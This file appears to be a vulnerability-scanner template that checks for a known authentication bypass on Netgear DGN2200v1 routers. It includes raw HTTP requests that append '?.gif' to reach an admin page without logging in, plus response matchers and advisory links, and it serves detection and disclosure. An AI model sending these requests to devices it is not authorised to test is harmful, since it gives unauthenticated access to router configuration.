42 lines
1.5 KiB
YAML
42 lines
1.5 KiB
YAML
id: netgear-router-auth-bypass
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info:
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name: Netgear DGN2200v1 Router Authentication Bypass
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author: gy741
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severity: high
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description: NETGEAR decided to use to check if a page has “.jpg”, “.gif” or “ess_” substrings, trying to match the entire URL. We can therefore access any page on the device, including those that require authentication, by appending a GET variable with the relevant substring (like “?.gif”).
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reference: |
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- https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
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- https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
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tags: netgear,auth-bypass
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requests:
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- raw:
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- |
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GET /WAN_wan.htm?.gif HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
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Connection: close
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Accept: */*
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Accept-Language: en
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Accept-Encoding: gzip
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- |
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GET /WAN_wan.htm?.gif HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
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Connection: close
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Accept: */*
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Accept-Language: en
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Accept-Encoding: gzip
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "<title>WAN Setup</title>"
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